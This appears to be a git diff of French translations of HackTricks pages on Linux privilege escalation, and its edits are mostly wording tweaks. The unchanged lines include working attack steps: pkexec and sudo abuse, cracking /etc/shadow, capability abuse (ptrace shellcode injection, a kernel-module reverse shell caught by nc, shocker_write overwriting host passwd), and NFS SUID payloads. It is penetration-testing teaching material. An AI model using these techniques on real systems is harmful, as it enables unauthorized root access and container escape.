Aussi, vous ne pouvez **entrer dans un autre espace de noms de processus que si vous êtes root**. Et vous **ne pouvez pas** **entrer** dans un autre espace de noms **sans un descripteur** pointant vers celui-ci (comme `/proc/self/ns/cgroup`).
|
||||
Aussi, vous ne pouvez **entrer dans un autre espace de processus que si vous êtes root**. Et vous **ne pouvez pas** **entrer** dans un autre espace de noms **sans un descripteur** pointant vers celui-ci (comme `/proc/self/ns/cgroup`).
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -17,7 +17,7 @@ En général, cela signifie que pour s'échapper, vous devez être root à l'int
|
||||
### Root + CWD
|
||||
|
||||
> [!WARNING]
|
||||
> Si vous êtes **root** à l'intérieur d'un chroot, vous **pouvez vous échapper** en créant **un autre chroot**. Cela parce que 2 chroots ne peuvent pas coexister (dans Linux), donc si vous créez un dossier et ensuite **créez un nouveau chroot** dans ce nouveau dossier en étant **vous à l'extérieur**, vous serez maintenant **à l'extérieur du nouveau chroot** et donc vous serez dans le FS.
|
||||
> Si vous êtes **root** à l'intérieur d'un chroot, vous **pouvez vous échapper** en créant **un autre chroot**. Cela parce que 2 chroots ne peuvent pas coexister (dans Linux), donc si vous créez un dossier et ensuite **créez un nouveau chroot** dans ce nouveau dossier en étant **vous à l'extérieur de celui-ci**, vous serez maintenant **à l'extérieur du nouveau chroot** et donc vous serez dans le FS.
|
||||
>
|
||||
> Cela se produit parce que généralement chroot NE déplace PAS votre répertoire de travail vers celui indiqué, donc vous pouvez créer un chroot mais être à l'extérieur de celui-ci.
|
||||
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Groupes Intéressants - Privilèges Linux
|
||||
# Groupes Intéressants - Privilèges Élevés Linux
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### **PE - Méthode 1**
|
||||
|
||||
**Parfois**, **par défaut (ou parce que certains logiciels en ont besoin)**, à l'intérieur du fichier **/etc/sudoers**, vous pouvez trouver certaines de ces lignes :
|
||||
**Parfois**, **par défaut (ou parce que certains logiciels en ont besoin)**, vous pouvez trouver certaines de ces lignes dans le fichier **/etc/sudoers** :
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
@ -16,7 +16,7 @@
|
||||
```
|
||||
Cela signifie que **tout utilisateur appartenant au groupe sudo ou admin peut exécuter n'importe quoi en tant que sudo**.
|
||||
|
||||
Si c'est le cas, pour **devenir root, vous pouvez simplement exécuter** :
|
||||
Si c'est le cas, pour **devenir root, vous pouvez simplement exécuter**:
|
||||
```
|
||||
sudo su
|
||||
```
|
||||
@ -43,7 +43,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**Ce n'est pas parce que vous n'avez pas de permissions mais parce que vous n'êtes pas connecté sans une interface graphique**. Et il existe une solution à ce problème ici : [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Vous avez besoin de **2 sessions ssh différentes** :
|
||||
**Ce n'est pas parce que vous n'avez pas les permissions mais parce que vous n'êtes pas connecté sans une interface graphique**. Et il existe une solution à ce problème ici : [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Vous avez besoin de **2 sessions ssh différentes** :
|
||||
```bash:session1
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
@ -66,13 +66,13 @@ Si c'est le cas, pour **devenir root, vous pouvez simplement exécuter** :
|
||||
```
|
||||
sudo su
|
||||
```
|
||||
## Groupe Shadow
|
||||
## Shadow Group
|
||||
|
||||
Les utilisateurs du **groupe shadow** peuvent **lire** le fichier **/etc/shadow** :
|
||||
```
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
Alors, lisez le fichier et essayez de **craquer quelques hashes**.
|
||||
So, lisez le fichier et essayez de **craquer quelques hashes**.
|
||||
|
||||
## Groupe Staff
|
||||
|
||||
@ -132,7 +132,7 @@ $ /bin/bash -p
|
||||
|
||||
Ce privilège est presque **équivalent à un accès root** car vous pouvez accéder à toutes les données à l'intérieur de la machine.
|
||||
|
||||
Fichiers :`/dev/sd[a-z][1-9]`
|
||||
Fichiers : `/dev/sd[a-z][1-9]`
|
||||
```bash
|
||||
df -h #Find where "/" is mounted
|
||||
debugfs /dev/sda1
|
||||
@ -199,7 +199,7 @@ Enfin, si aucune des suggestions précédentes ne vous convient, ou si elles ne
|
||||
../docker-security/
|
||||
{{#endref}}
|
||||
|
||||
Si vous avez des permissions d'écriture sur le socket docker, lisez [**cet article sur la façon d'escalader les privilèges en abusant du socket docker**](../index.html#writable-docker-socket)**.**
|
||||
Si vous avez des permissions d'écriture sur le socket docker, lisez [**ce post sur la façon d'escalader les privilèges en abusant du socket docker**](../index.html#writable-docker-socket)**.**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
|
@ -20,7 +20,7 @@ Vous pouvez également consulter la page suivante pour apprendre **d'autres faç
|
||||
|
||||
### FreeIPA
|
||||
|
||||
FreeIPA est une **alternative** open-source à Microsoft Windows **Active Directory**, principalement pour les environnements **Unix**. Il combine un **annuaire LDAP** complet avec un centre de distribution de clés **Kerberos** MIT pour une gestion similaire à Active Directory. Utilisant le système de certificats **Dogtag** pour la gestion des certificats CA et RA, il prend en charge l'authentification **multi-facteurs**, y compris les cartes intelligentes. SSSD est intégré pour les processus d'authentification Unix. En savoir plus à ce sujet dans :
|
||||
FreeIPA est une **alternative** open-source à Microsoft Windows **Active Directory**, principalement pour les environnements **Unix**. Il combine un **annuaire LDAP** complet avec un Centre de Distribution de Clés **Kerberos** MIT pour une gestion similaire à Active Directory. Utilisant le **Système de Certificats Dogtag** pour la gestion des certificats CA et RA, il prend en charge l'authentification **multi-facteurs**, y compris les cartes à puce. SSSD est intégré pour les processus d'authentification Unix. En savoir plus à ce sujet dans :
|
||||
|
||||
{{#ref}}
|
||||
../freeipa-pentesting.md
|
||||
@ -97,7 +97,7 @@ Sur macOS, **`bifrost`** sert d'outil pour l'analyse des fichiers keytab.
|
||||
```bash
|
||||
./bifrost -action dump -source keytab -path /path/to/your/file
|
||||
```
|
||||
En utilisant les informations de compte et de hachage extraites, des connexions aux serveurs peuvent être établies à l'aide d'outils comme **`crackmapexec`**.
|
||||
En utilisant les informations de compte et de hachage extraites, des connexions aux serveurs peuvent être établies en utilisant des outils comme **`crackmapexec`**.
|
||||
```bash
|
||||
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
|
||||
```
|
||||
|
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Linux Capabilities
|
||||
|
||||
Les capacités Linux divisent **les privilèges root en unités plus petites et distinctes**, permettant aux processus d'avoir un sous-ensemble de privilèges. Cela minimise les risques en ne conférant pas de privilèges root complets inutilement.
|
||||
@ -10,7 +11,7 @@ Les capacités Linux divisent **les privilèges root en unités plus petites et
|
||||
|
||||
- Les utilisateurs normaux ont des permissions limitées, affectant des tâches comme l'ouverture d'un socket réseau qui nécessite un accès root.
|
||||
|
||||
### Ensembles de Capacités :
|
||||
### Ensembles de Capabilités :
|
||||
|
||||
1. **Héritées (CapInh)** :
|
||||
|
||||
@ -38,7 +39,7 @@ Les capacités Linux divisent **les privilèges root en unités plus petites et
|
||||
|
||||
5. **Ambiante (CapAmb)** :
|
||||
- **But** : Permet à certaines capacités d'être maintenues lors d'un appel système `execve`, ce qui entraînerait normalement une réinitialisation complète des capacités du processus.
|
||||
- **Fonctionnalité** : Garantit que les programmes non-SUID qui n'ont pas de capacités de fichier associées peuvent conserver certains privilèges.
|
||||
- **Fonctionnalité** : Assure que les programmes non-SUID qui n'ont pas de capacités de fichier associées peuvent conserver certains privilèges.
|
||||
- **Restrictions** : Les capacités dans cet ensemble sont soumises aux contraintes des ensembles héritables et permis, garantissant qu'elles ne dépassent pas les privilèges autorisés du processus.
|
||||
```python
|
||||
# Code to demonstrate the interaction of different capability sets might look like this:
|
||||
@ -58,8 +59,8 @@ Pour plus d'informations, consultez :
|
||||
|
||||
### Capacités des processus
|
||||
|
||||
Pour voir les capacités d'un processus particulier, utilisez le fichier **status** dans le répertoire /proc. Comme il fournit plus de détails, limitons-le uniquement aux informations liées aux capacités Linux.\
|
||||
Notez que pour tous les processus en cours d'exécution, les informations sur les capacités sont maintenues par thread, pour les binaires dans le système de fichiers, elles sont stockées dans des attributs étendus.
|
||||
Pour voir les capacités d'un processus particulier, utilisez le fichier **status** dans le répertoire /proc. Comme il fournit plus de détails, limitons-nous uniquement aux informations liées aux capacités Linux.\
|
||||
Notez que pour tous les processus en cours d'exécution, les informations de capacité sont maintenues par thread, pour les binaires dans le système de fichiers, elles sont stockées dans des attributs étendus.
|
||||
|
||||
Vous pouvez trouver les capacités définies dans /usr/include/linux/capability.h
|
||||
|
||||
@ -122,7 +123,7 @@ CapAmb: 0000000000000000
|
||||
$ capsh --decode=0000000000003000
|
||||
0x0000000000003000=cap_net_admin,cap_net_raw
|
||||
```
|
||||
Comme vous pouvez le voir, les capacités données correspondent aux résultats des 2 façons d'obtenir les capacités d'un binaire.\
|
||||
Comme vous pouvez le voir, les capacités données correspondent aux résultats des 2 manières d'obtenir les capacités d'un binaire.\
|
||||
L'outil _getpcaps_ utilise l'appel système **capget()** pour interroger les capacités disponibles pour un thread particulier. Cet appel système n'a besoin de fournir que le PID pour obtenir plus d'informations.
|
||||
|
||||
### Capacités des binaires
|
||||
@ -174,7 +175,7 @@ cap_sys_admin,22,25 jrsysadmin
|
||||
```
|
||||
## Capacités de l'environnement
|
||||
|
||||
En compilant le programme suivant, il est possible de **lancer un shell bash à l'intérieur d'un environnement qui fournit des capacités**.
|
||||
En compilant le programme suivant, il est possible de **lancer un shell bash dans un environnement qui fournit des capacités**.
|
||||
```c:ambient.c
|
||||
/*
|
||||
* Test program for the ambient capabilities
|
||||
@ -310,7 +311,7 @@ docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained
|
||||
```
|
||||
## Privesc/Container Escape
|
||||
|
||||
Les capacités sont utiles lorsque vous **voulez restreindre vos propres processus après avoir effectué des opérations privilégiées** (par exemple, après avoir configuré chroot et lié à un socket). Cependant, elles peuvent être exploitées en leur passant des commandes ou des arguments malveillants qui sont ensuite exécutés en tant que root.
|
||||
Les capacités sont utiles lorsque vous **souhaitez restreindre vos propres processus après avoir effectué des opérations privilégiées** (par exemple, après avoir configuré chroot et lié à un socket). Cependant, elles peuvent être exploitées en leur passant des commandes ou des arguments malveillants qui sont ensuite exécutés en tant que root.
|
||||
|
||||
Vous pouvez forcer des capacités sur des programmes en utilisant `setcap`, et interroger celles-ci en utilisant `getcap`:
|
||||
```bash
|
||||
@ -362,7 +363,7 @@ alors **ce binaire s'exécutera en tant que root**.
|
||||
getcap -r / 2>/dev/null
|
||||
/usr/bin/python2.7 = cap_sys_admin+ep
|
||||
```
|
||||
En utilisant Python, vous pouvez monter un fichier _passwd_ modifié par-dessus le vrai fichier _passwd_:
|
||||
En utilisant Python, vous pouvez monter un fichier _passwd_ modifié par-dessus le vrai fichier _passwd_ :
|
||||
```bash
|
||||
cp /etc/passwd ./ #Create a copy of the passwd file
|
||||
openssl passwd -1 -salt abc password #Get hash of "password"
|
||||
@ -433,7 +434,7 @@ ssh john@172.17.0.1 -p 2222
|
||||
```
|
||||
## CAP_SYS_PTRACE
|
||||
|
||||
**Cela signifie que vous pouvez échapper au conteneur en injectant un shellcode à l'intérieur d'un processus s'exécutant à l'intérieur de l'hôte.** Pour accéder aux processus s'exécutant à l'intérieur de l'hôte, le conteneur doit être exécuté au moins avec **`--pid=host`**.
|
||||
**Cela signifie que vous pouvez échapper au conteneur en injectant un shellcode à l'intérieur de certains processus s'exécutant à l'intérieur de l'hôte.** Pour accéder aux processus s'exécutant à l'intérieur de l'hôte, le conteneur doit être exécuté au moins avec **`--pid=host`**.
|
||||
|
||||
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** accorde la capacité d'utiliser les fonctionnalités de débogage et de traçage des appels système fournies par `ptrace(2)` et les appels d'attachement inter-mémoire comme `process_vm_readv(2)` et `process_vm_writev(2)`. Bien que puissant pour des fins de diagnostic et de surveillance, si `CAP_SYS_PTRACE` est activé sans mesures restrictives comme un filtre seccomp sur `ptrace(2)`, cela peut considérablement compromettre la sécurité du système. En particulier, cela peut être exploité pour contourner d'autres restrictions de sécurité, notamment celles imposées par seccomp, comme le démontrent [des preuves de concept (PoC) comme celle-ci](https://gist.github.com/thejh/8346f47e359adecd1d53).
|
||||
|
||||
@ -611,7 +612,7 @@ uid=0(root)
|
||||
gid=0(root)
|
||||
groups=0(root
|
||||
```
|
||||
Lister les **processus** en cours d'exécution sur l'**hôte** `ps -eaf`
|
||||
Listez les **processus** en cours d'exécution sur l'**hôte** `ps -eaf`
|
||||
|
||||
1. Obtenez l'**architecture** `uname -m`
|
||||
2. Trouvez un **shellcode** pour l'architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
|
||||
@ -718,7 +719,7 @@ Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory.
|
||||
sudo apt update
|
||||
sudo apt full-upgrade
|
||||
```
|
||||
Enfin, démarrez `nc` dans un shell et **chargez le module** depuis un autre et vous capturerez le shell dans le processus nc :
|
||||
Enfin, démarrez `nc` à l'intérieur d'un shell et **chargez le module** depuis un autre et vous capturerez le shell dans le processus nc :
|
||||
```bash
|
||||
#Shell 1
|
||||
nc -lvnp 4444
|
||||
@ -737,7 +738,7 @@ Un autre exemple de cette technique peut être trouvé sur [https://www.cyberark
|
||||
|
||||
**Exemple avec binaire**
|
||||
|
||||
Le binaire sera capable de lire n'importe quel fichier. Donc, si un fichier comme tar a cette capacité, il pourra lire le fichier shadow :
|
||||
Le binaire pourra lire n'importe quel fichier. Donc, si un fichier comme tar a cette capacité, il pourra lire le fichier shadow :
|
||||
```bash
|
||||
cd /etc
|
||||
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
|
||||
@ -1111,7 +1112,7 @@ close(fd1);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Pour échapper au conteneur docker, vous pourriez **télécharger** les fichiers `/etc/shadow` et `/etc/passwd` depuis l'hôte, **ajouter** un **nouvel utilisateur**, et utiliser **`shocker_write`** pour les écraser. Ensuite, **accéder** via **ssh**.
|
||||
Pour échapper au conteneur docker, vous pourriez **télécharger** les fichiers `/etc/shadow` et `/etc/passwd` depuis l'hôte, **ajouter** un **nouveau utilisateur**, et utiliser **`shocker_write`** pour les écraser. Ensuite, **accéder** via **ssh**.
|
||||
|
||||
**Le code de cette technique a été copié du laboratoire "Abusing DAC_OVERRIDE Capability" de** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com)
|
||||
|
||||
@ -1168,7 +1169,7 @@ Il existe de nombreux fichiers que vous pouvez **écraser pour élever les privi
|
||||
|
||||
**Exemple avec un binaire**
|
||||
|
||||
Dans ce cas, vous devriez chercher des fichiers intéressants que un groupe peut lire car vous pouvez usurper n'importe quel groupe :
|
||||
Dans ce cas, vous devriez rechercher des fichiers intéressants qu'un groupe peut lire car vous pouvez usurper n'importe quel groupe :
|
||||
```bash
|
||||
#Find every file writable by a group
|
||||
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
|
||||
@ -1183,11 +1184,11 @@ import os
|
||||
os.setgid(42)
|
||||
os.system("/bin/bash")
|
||||
```
|
||||
Dans ce cas, le groupe shadow a été usurpé, vous pouvez donc lire le fichier `/etc/shadow`:
|
||||
Dans ce cas, le groupe shadow a été usurpé afin que vous puissiez lire le fichier `/etc/shadow`:
|
||||
```bash
|
||||
cat /etc/shadow
|
||||
```
|
||||
Si **docker** est installé, vous pourriez **imiter** le **groupe docker** et en abuser pour communiquer avec le [**socket docker** et élever les privilèges](#writable-docker-socket).
|
||||
Si **docker** est installé, vous pourriez **vous faire passer** pour le **groupe docker** et en abuser pour communiquer avec le [**socket docker** et élever les privilèges](#writable-docker-socket).
|
||||
|
||||
## CAP_SETFCAP
|
||||
|
||||
@ -1253,14 +1254,14 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
|
||||
bash: /usr/bin/gdb: Operation not permitted
|
||||
```
|
||||
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Ceci est un **sous-ensemble limitant pour les capacités effectives** que le thread peut assumer. C'est aussi un sous-ensemble limitant pour les capacités qui peuvent être ajoutées à l'ensemble héritable par un thread qui **n'a pas la capacité CAP_SETPCAP** dans son ensemble effectif._\
|
||||
Il semble que les capacités Permises limitent celles qui peuvent être utilisées.\
|
||||
Cependant, Docker accorde également la **CAP_SETPCAP** par défaut, donc vous pourriez être en mesure de **définir de nouvelles capacités à l'intérieur des héritables**.\
|
||||
Il semble que les capacités Permitted limitent celles qui peuvent être utilisées.\
|
||||
Cependant, Docker accorde également le **CAP_SETPCAP** par défaut, donc vous pourriez être en mesure de **définir de nouvelles capacités à l'intérieur des héritables**.\
|
||||
Cependant, dans la documentation de cette capacité : _CAP_SETPCAP : \[…] **ajoute toute capacité de l'ensemble de bornes du thread appelant** à son ensemble héritable_.\
|
||||
Il semble que nous ne puissions ajouter à l'ensemble héritable que des capacités de l'ensemble de bornes. Ce qui signifie que **nous ne pouvons pas mettre de nouvelles capacités comme CAP_SYS_ADMIN ou CAP_SYS_PTRACE dans l'ensemble hérité pour escalader les privilèges**.
|
||||
Il semble que nous ne puissions ajouter à l'ensemble héritable que des capacités de l'ensemble de bornes. Ce qui signifie que **nous ne pouvons pas mettre de nouvelles capacités comme CAP_SYS_ADMIN ou CAP_SYS_PTRACE dans l'ensemble héritable pour escalader les privilèges**.
|
||||
|
||||
## CAP_SYS_RAWIO
|
||||
|
||||
[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) fournit un certain nombre d'opérations sensibles, y compris l'accès à `/dev/mem`, `/dev/kmem` ou `/proc/kcore`, modifier `mmap_min_addr`, accéder aux appels système `ioperm(2)` et `iopl(2)`, et diverses commandes disque. L'ioctl(2) `FIBMAP` est également activé via cette capacité, ce qui a causé des problèmes dans le [passé](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Selon la page de manuel, cela permet également au détenteur de `réaliser une gamme d'opérations spécifiques aux dispositifs sur d'autres dispositifs`.
|
||||
[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) fournit un certain nombre d'opérations sensibles, y compris l'accès à `/dev/mem`, `/dev/kmem` ou `/proc/kcore`, modifier `mmap_min_addr`, accéder aux appels système `ioperm(2)` et `iopl(2)`, et diverses commandes disque. Le `FIBMAP ioctl(2)` est également activé via cette capacité, ce qui a causé des problèmes dans le [passé](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Selon la page de manuel, cela permet également au détenteur de `réaliser une gamme d'opérations spécifiques aux dispositifs sur d'autres dispositifs`.
|
||||
|
||||
Cela peut être utile pour **l'escalade de privilèges** et **le contournement de Docker.**
|
||||
|
||||
@ -1280,7 +1281,7 @@ os.killpg(pgid, signal.SIGKILL)
|
||||
```
|
||||
**Privesc avec kill**
|
||||
|
||||
Si vous avez des capacités kill et qu'il y a un **programme node s'exécutant en tant que root** (ou en tant qu'un autre utilisateur), vous pourriez probablement **lui envoyer** le **signal SIGUSR1** et le faire **ouvrir le débogueur node** pour vous y connecter.
|
||||
Si vous avez des capacités kill et qu'il y a un **programme node s'exécutant en tant que root** (ou en tant qu'un autre utilisateur), vous pourriez probablement **lui envoyer** le **signal SIGUSR1** et le faire **ouvrir le débogueur node** où vous pouvez vous connecter.
|
||||
```bash
|
||||
kill -s SIGUSR1 <nodejs-ps>
|
||||
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||
@ -1296,7 +1297,7 @@ electron-cef-chromium-debugger-abuse.md
|
||||
|
||||
**Exemple avec un binaire**
|
||||
|
||||
Si **`python`** a cette capacité, il pourra écouter sur n'importe quel port et même se connecter à partir de celui-ci à n'importe quel autre port (certains services nécessitent des connexions à partir de ports privilégiés spécifiques)
|
||||
Si **`python`** a cette capacité, il pourra écouter sur n'importe quel port et même se connecter depuis celui-ci à n'importe quel autre port (certains services nécessitent des connexions depuis des ports de privilèges spécifiques)
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Listen"}}
|
||||
@ -1324,11 +1325,11 @@ s.connect(('10.10.10.10',500))
|
||||
|
||||
## CAP_NET_RAW
|
||||
|
||||
[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) la capacité permet aux processus de **créer des sockets RAW et PACKET**, leur permettant de générer et d'envoyer des paquets réseau arbitraires. Cela peut entraîner des risques de sécurité dans des environnements conteneurisés, tels que le spoofing de paquets, l'injection de trafic et le contournement des contrôles d'accès réseau. Des acteurs malveillants pourraient exploiter cela pour interférer avec le routage des conteneurs ou compromettre la sécurité du réseau hôte, surtout sans protections de pare-feu adéquates. De plus, **CAP_NET_RAW** est crucial pour les conteneurs privilégiés afin de prendre en charge des opérations comme le ping via des requêtes ICMP RAW.
|
||||
[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permet aux processus de **créer des sockets RAW et PACKET**, leur permettant de générer et d'envoyer des paquets réseau arbitraires. Cela peut entraîner des risques de sécurité dans des environnements conteneurisés, tels que le spoofing de paquets, l'injection de trafic et le contournement des contrôles d'accès réseau. Des acteurs malveillants pourraient exploiter cela pour interférer avec le routage des conteneurs ou compromettre la sécurité du réseau hôte, surtout sans protections de pare-feu adéquates. De plus, **CAP_NET_RAW** est crucial pour les conteneurs privilégiés afin de prendre en charge des opérations comme le ping via des requêtes ICMP RAW.
|
||||
|
||||
**Cela signifie qu'il est possible d'intercepter le trafic.** Vous ne pouvez pas élever les privilèges directement avec cette capacité.
|
||||
|
||||
**Exemple avec binaire**
|
||||
**Exemple avec un binaire**
|
||||
|
||||
Si le binaire **`tcpdump`** a cette capacité, vous pourrez l'utiliser pour capturer des informations réseau.
|
||||
```bash
|
||||
@ -1387,7 +1388,7 @@ count=count+1
|
||||
|
||||
[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) la capacité accorde au titulaire le pouvoir de **modifier les configurations réseau**, y compris les paramètres de pare-feu, les tables de routage, les autorisations de socket et les paramètres d'interface réseau au sein des espaces de noms réseau exposés. Elle permet également d'activer le **mode promiscuous** sur les interfaces réseau, permettant l'analyse des paquets à travers les espaces de noms.
|
||||
|
||||
**Exemple avec binaire**
|
||||
**Exemple avec un binaire**
|
||||
|
||||
Supposons que le **binaire python** ait ces capacités.
|
||||
```python
|
||||
@ -1451,7 +1452,7 @@ f.write('New content for the file\n')
|
||||
|
||||
## CAP_SYSLOG
|
||||
|
||||
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) a été séparé de la plus large **CAP_SYS_ADMIN** dans Linux 2.6.37, accordant spécifiquement la capacité d'utiliser l'appel `syslog(2)`. Cette capacité permet de visualiser les adresses du noyau via `/proc` et des interfaces similaires lorsque le paramètre `kptr_restrict` est à 1, ce qui contrôle l'exposition des adresses du noyau. Depuis Linux 2.6.39, la valeur par défaut pour `kptr_restrict` est 0, ce qui signifie que les adresses du noyau sont exposées, bien que de nombreuses distributions définissent cela à 1 (cacher les adresses sauf pour uid 0) ou 2 (cacher toujours les adresses) pour des raisons de sécurité.
|
||||
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) a été séparé de la plus large **CAP_SYS_ADMIN** dans Linux 2.6.37, accordant spécifiquement la capacité d'utiliser l'appel `syslog(2)`. Cette capacité permet de visualiser les adresses du noyau via `/proc` et des interfaces similaires lorsque le paramètre `kptr_restrict` est à 1, ce qui contrôle l'exposition des adresses du noyau. Depuis Linux 2.6.39, la valeur par défaut de `kptr_restrict` est 0, ce qui signifie que les adresses du noyau sont exposées, bien que de nombreuses distributions définissent cela à 1 (cacher les adresses sauf pour l'uid 0) ou 2 (cacher toujours les adresses) pour des raisons de sécurité.
|
||||
|
||||
De plus, **CAP_SYSLOG** permet d'accéder à la sortie de `dmesg` lorsque `dmesg_restrict` est défini à 1. Malgré ces changements, **CAP_SYS_ADMIN** conserve la capacité d'effectuer des opérations `syslog` en raison de précédents historiques.
|
||||
|
||||
@ -1462,11 +1463,11 @@ De plus, **CAP_SYSLOG** permet d'accéder à la sortie de `dmesg` lorsque `dmesg
|
||||
- **S_IFCHR** : Fichiers spéciaux de caractères, qui sont des dispositifs comme des terminaux.
|
||||
- **S_IFBLK** : Fichiers spéciaux de blocs, qui sont des dispositifs comme des disques.
|
||||
|
||||
Cette capacité est essentielle pour les processus qui nécessitent la capacité de créer des fichiers de périphériques, facilitant l'interaction directe avec le matériel via des dispositifs de caractères ou de blocs.
|
||||
Cette capacité est essentielle pour les processus qui nécessitent la possibilité de créer des fichiers de périphériques, facilitant l'interaction directe avec le matériel via des dispositifs de caractères ou de blocs.
|
||||
|
||||
C'est une capacité docker par défaut ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
|
||||
|
||||
Cette capacité permet d'effectuer des escalades de privilèges (via une lecture complète du disque) sur l'hôte, sous ces conditions :
|
||||
Cette capacité permet de réaliser des escalades de privilèges (via une lecture complète du disque) sur l'hôte, sous ces conditions :
|
||||
|
||||
1. Avoir un accès initial à l'hôte (non privilégié).
|
||||
2. Avoir un accès initial au conteneur (privilégié (EUID 0), et `CAP_MKNOD` effectif).
|
||||
|
@ -7,8 +7,8 @@
|
||||
NFS fera généralement (surtout sous linux) confiance au `uid` et `gid` indiqués par le client se connectant pour accéder aux fichiers (si kerberos n'est pas utilisé). Cependant, il existe certaines configurations qui peuvent être définies sur le serveur pour **changer ce comportement** :
|
||||
|
||||
- **`all_squash`** : Cela écrase tous les accès en mappant chaque utilisateur et groupe à **`nobody`** (65534 non signé / -2 signé). Par conséquent, tout le monde est `nobody` et aucun utilisateur n'est utilisé.
|
||||
- **`root_squash`/`no_all_squash`** : C'est par défaut sur Linux et **n'écrase que l'accès avec uid 0 (root)**. Par conséquent, tout `UID` et `GID` sont de confiance mais `0` est écrasé à `nobody` (donc aucune usurpation de root n'est possible).
|
||||
- **`no_root_squash`** : Cette configuration, si activée, n'écrase même pas l'utilisateur root. Cela signifie que si vous montez un répertoire avec cette configuration, vous pouvez y accéder en tant que root.
|
||||
- **`root_squash`/`no_all_squash`** : C'est la valeur par défaut sur Linux et **n'écrase que l'accès avec uid 0 (root)**. Par conséquent, tout `UID` et `GID` sont de confiance mais `0` est écrasé à `nobody` (donc aucune usurpation de root n'est possible).
|
||||
- **``no_root_squash`** : Cette configuration, si elle est activée, n'écrase même pas l'utilisateur root. Cela signifie que si vous montez un répertoire avec cette configuration, vous pouvez y accéder en tant que root.
|
||||
|
||||
Dans le fichier **/etc/exports**, si vous trouvez un répertoire configuré comme **no_root_squash**, alors vous pouvez **y accéder** **en tant que client** et **écrire à l'intérieur** de ce répertoire **comme** si vous étiez le **root** local de la machine.
|
||||
|
||||
@ -39,7 +39,7 @@ cd <SHAREDD_FOLDER>
|
||||
./bash -p #ROOT shell
|
||||
```
|
||||
Option 2 utilisant du code compilé en C :
|
||||
- **Monter ce répertoire** sur une machine cliente, et **en tant que root copier** à l'intérieur du dossier monté notre charge utile compilée qui abusent des permissions SUID, lui donner des droits **SUID**, et **exécuter depuis la machine victime** ce binaire (vous pouvez trouver ici quelques [charges utiles C SUID](payloads-to-execute.md#c)).
|
||||
- **Monter ce répertoire** sur une machine cliente, et **en tant que root copier** à l'intérieur du dossier monté notre charge utile compilée qui abusent des permissions SUID, lui donner des droits **SUID**, et **exécuter depuis la machine victime** ce binaire (vous pouvez trouver ici quelques [charges utiles SUID en C](payloads-to-execute.md#c)).
|
||||
- Même restrictions qu'auparavant
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
@ -59,12 +59,12 @@ cd <SHAREDD_FOLDER>
|
||||
> [!TIP]
|
||||
> Notez que si vous pouvez créer un **tunnel de votre machine à la machine victime, vous pouvez toujours utiliser la version distante pour exploiter cette élévation de privilèges en tunnelant les ports requis**.\
|
||||
> Le truc suivant est dans le cas où le fichier `/etc/exports` **indique une IP**. Dans ce cas, vous **ne pourrez pas utiliser** en aucun cas l'**exploit distant** et vous devrez **abuser de ce truc**.\
|
||||
> Une autre exigence nécessaire pour que l'exploit fonctionne est que **l'exportation à l'intérieur de `/etc/export`** **doit utiliser le drapeau `insecure`**.\
|
||||
> Une autre exigence requise pour que l'exploit fonctionne est que **l'exportation à l'intérieur de `/etc/export`** **doit utiliser le drapeau `insecure`**.\
|
||||
> --_Je ne suis pas sûr que si `/etc/export` indique une adresse IP, ce truc fonctionnera_--
|
||||
|
||||
### Basic Information
|
||||
|
||||
Le scénario implique l'exploitation d'un partage NFS monté sur une machine locale, tirant parti d'un défaut dans la spécification NFSv3 qui permet au client de spécifier son uid/gid, ce qui peut permettre un accès non autorisé. L'exploitation implique l'utilisation de [libnfs](https://github.com/sahlberg/libnfs), une bibliothèque qui permet de forger des appels RPC NFS.
|
||||
